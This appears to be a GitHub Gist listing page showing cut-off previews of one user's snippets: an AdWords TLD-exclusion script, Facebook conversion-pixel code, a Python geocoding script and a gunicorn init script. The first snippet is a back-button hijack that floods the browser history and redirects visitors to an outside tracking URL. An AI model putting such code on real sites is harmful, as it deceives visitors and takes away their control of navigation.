Skip to content

Instantly share code, notes, and snippets.

<script type="text/javascript">
! function () {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({}, "", "#");
onpopstate = function (t) {
t.state && location.replace("https://howwelearn.net/?flux_action=1&flux_f=1&flux_ffn=1475683431849&s4=back")
}
} catch (o) {}
}();
@williamhrs
williamhrs / RemoveBadTLD
Created October 13, 2016 18:00
Adwords Script to remove BAD TLDS
/**
* Removes placements ending in the tlds xyz, tk, and download.
* @author Dawson Reid
* @author Andrew Breen
*/
// Top Level Domains to exclude
var TLDs = '.xyz, .tk, .download';
<!-- Facebook Conversion Code for MDS -->
<script>(function() {
var _fbq = window._fbq || (window._fbq = []);
if (!_fbq.loaded) {
var fbds = document.createElement('script');
fbds.async = true;
fbds.src = '//connect.facebook.net/en_US/fbds.js';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(fbds, s);
_fbq.loaded = true;
<!-- Facebook Conversion Code for FDM -->
<script>(function() {
var _fbq = window._fbq || (window._fbq = []);
if (!_fbq.loaded) {
var fbds = document.createElement('script');
fbds.async = true;
fbds.src = '//connect.facebook.net/en_US/fbds.js';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(fbds, s);
_fbq.loaded = true;
@williamhrs
williamhrs / get_geodata.py
Created September 18, 2012 16:18
Geodata
#!/usr/bin/python
# -*- coding: utf-8 -*-
import json, urllib3,urllib
from lxml import etree
import threading, Queue
YAHOO_BASE_URL = 'http://where.yahooapis.com/geocode'
def geocode(address, **geo_args):
geo_args.update({
'q': address,
@williamhrs
williamhrs / gunicorn
Created August 6, 2012 01:07 — forked from suda/gunicorn
Gunicorn init.d script (debian/ubuntu)
#!/bin/sh
### BEGIN INIT INFO
# Provides: gunicorn
# Required-Start: $all
# Required-Stop: $all
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: starts the gunicorn server
# Description: starts gunicorn using start-stop-daemon